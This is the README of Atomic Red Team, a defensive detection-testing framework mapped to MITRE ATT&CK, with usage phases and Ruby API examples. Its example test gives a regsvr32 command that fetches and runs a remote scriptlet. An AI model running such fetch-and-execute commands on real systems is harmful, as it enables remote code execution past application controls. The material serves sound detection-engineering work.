Atomic Red Team

Atomic Red Team is small, highly portable, community developed detection tests mapped to Mitre's ATT&CK. ATT&CK was created by and is a trademark of The MITRE Corporation.

Table of Contents:

1. Quick Start: Using Atomic Red Team to test your security
2. Contributing Guide
3. Doing more with Atomic Red Team
   1. Using the Atomic Red Team Ruby API
   2. Bonus APIs: Ruby ATT&CK API
   3. Execution Frameworks

Quick Start: Using Atomic Red Team to test your security

Our Atomic Red Team tests are small, highly portable detection tests mapped to the MITRE ATT&CK Framework. Each test is designed to map back to a particular tactic. This gives defenders a highly actionable way to immediately start testing their defenses against a broad spectrum of attacks.

Best Practices

• Be sure to get permission and necessary approval before conducting tests. Unauthorized testing is a bad decision and can potentially be a resume-generating event.

• Set up a test machine that would be similar to the build in your environment. Be sure you have your collection/EDR solution in place, and that the endpoint is checking in and active.

• Spend some time developing a test plan or scenario. This can take many forms. An example test plan could be to execute all the Discovery phase items at once in a batch file, or run each phase one by one, validating coverage as you go.

Getting Started

Select one or more Atomic Tests that you plan to execute. A complete list, ATT&CK matrices, and platform-specific matrices linking to Atomic Tests can be found here:

• Complete list of Atomic Tests
• Atomic Tests per the ATT&CK Matrix
• Tests for Windows
  • List of Atomic Tests
  • ATT&CK Matrix
• Tests for macOS
  • List of Atomic Tests
  • ATT&CK Matrix
• Tests for Linux
  • List of Atomic Tests
  • ATT&CK Matrix

Once you have selected an Atomic Test, we suggest you take a three phase approach to running the test and evaluating results:

Phase 1: Execute Test

In this example we will use Technique T1117 "Regsvr32" and Atomic Test "Regsvr32 remote COM scriptlet execution". This particular test is fairly easy to exercise since the tool is on all Windows workstations by default.

The details of this test, which are located here, describe how you can test your detection by simply running the below command:

regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/t1117/RegSvr32.sct scrobj.dll

Phase 2: Collect Evidence

What does your security solution observe?

• You may see a file modification in the user’s profile.
• You may detect network connections made by regsvr32.exe to an external IP.
• There may be an entry in the proxy logs.
• You may observe the scrobj.dll loading on Windows.
• Or you might not observe any behavior on the endpoint or network.

This is why we test! We want to identify visibility gaps and determine where we need to make improvements.

Phase 3: Develop Detection

So you executed the test and none of your defenses fired – that’s why we test! Based on your observations and detection capabilities, it is time to use what you have to try to detect this event in your environment.

Once the detection is built, it is time to validate that the detection is working and that it is appropriately tuned. If you were to write your detection too broadly and “detect” every regsvr32.exe without any suppression, you are going to be digging out from a mountain of false positives. But if you write it too narrow and it only detects regsvr32.exe with the exact command line /s /u /i then all an attacker has to do is slightly modify their command line to evade your detection.

Measure Progress

One of the goals is to try to measure your coverage/capabilities against the ATT&CK Matrix and to identify where you may have gaps. Roberto Rodriguez (@cyb3rWar0g) provided this spreadsheet and complementary blog post showcasing how to determine where you stand within your organization in relation the MITRE ATT&CK Matrix.

Doing more with Atomic Red Team

Using the Atomic Red Team Ruby API

Atomic Red Team comes with a Ruby API that we use when validating tests again our spec, generating documentation in Markdown format, etc. You too can use the API to use Atomic Red Team tests in your test execution framework.

Add atomic-red-team to your Gemfile:

gem 'atomic-red-team', git: 'git@github.com:redcanaryco/atomic-red-team.git', branch: :master

Examples:

Example: print all the Atomic Tests by ATT&CK technique

require 'atomic_red_team'

AtomicRedTeam.new.atomic_tests.each do |atomic_yaml|
  puts "#{atomic_yaml['attack_technique']}"
  atomic_yaml['atomic_tests'].each do |atomic_test_yaml|
    puts "  #{atomic_test_yaml['name']}"
  end
end

Example: Show what atomic tests we have for a specific ATT&CK technique

require 'atomic_red_team'

AtomicRedTeam.new.atomic_tests_for_technique('T1117').each do |atomic_test_yaml|
  puts "#{atomic_test_yaml['name']}"
end

For additional examples, see the utilities in bin/ or the API code in atomic_red_team.

Bonus APIs: Ruby ATT&CK API

Atomic Red Team pulls information about ATT&CK techniques using the STIX definitions of ATT&CK located on MITRE's CTI Github.

We created a lightweight wrapper around that data structure to make it simple to consume. If you would like to use it, install the atomic-red-team gem as described above, and then:

$ bundle exec irb
2.2.0 :001 > require 'attack_api'

Get all the techniques

2.2.0 :020 > Attack.new.techniques.count
 => 219 

Get information about a technique by it's friendly identifier

2.2.0 :006 >   Attack.new.technique_info('t1117')
 => {"name"=>"Regsvr32", "description"=>"Regsvr32.exe is a command-line program used to register and unregister 
 object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can 
 be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)\n\nAdversaries may take advantage of this 
 functionality to proxy" <SNIP> } 

2.2.0 :007 > Attack.new.technique_info('t1117').keys
 => ["name", "description", "kill_chain_phases", "external_references", "object_marking_refs", "created", 
 "created_by_ref", "x_mitre_platforms", "x_mitre_data_sources", "x_mitre_defense_bypassed", 
 "x_mitre_permissions_required", "x_mitre_remote_support", "x_mitre_contributors", "id", "modified", "type"] 

Get a map of ATT&CK Tactic to all the Techniques associated with it

2.2.0 :019 > Attack.new.techniques_by_tactic.each {|tactic, techniques| puts "#{tactic} has #{techniques.count} techniques"}
persistence has 56 techniques
defense-evasion has 59 techniques
privilege-escalation has 28 techniques
discovery has 19 techniques
credential-access has 20 techniques
execution has 31 techniques
lateral-movement has 17 techniques
collection has 13 techniques
exfiltration has 9 techniques
command-and-control has 21 techniques
initial-access has 10 techniques

My favorite: Getting a 2D array of the ATT&CK matrix of Tactic columns and Technique rows:

2.2.0 :062 > Attack.new.ordered_tactics
 => ["initial-access", "execution", "persistence", "privilege-escalation", "defense-evasion", "credential-access", 
 "discovery", "lateral-movement", "collection", "exfiltration", "command-and-control"] 

2.2.0 :071 > Attack.new.ordered_tactic_to_technique_matrix.each {|row| puts row.collect {|technique| technique['name'] if technique}.join(', ')};
Drive-by Compromise, AppleScript, .bash_profile and .bashrc, Access Token Manipulation, Access Token Manipulation, Account Manipulation, Account Discovery, AppleScript, Audio Capture, Automated Exfiltration, Commonly Used Port
Exploit Public-Facing Application, CMSTP, Accessibility Features, Accessibility Features, BITS Jobs, Bash History, Application Window Discovery, Application Deployment Software, Automated Collection, Data Compressed, Communication Through Removable Media
Hardware Additions, Command-Line Interface, AppCert DLLs, AppCert DLLs, Binary Padding, Brute Force, Browser Bookmark Discovery, Distributed Component Object Model, Clipboard Data, Data Encrypted, Connection Proxy
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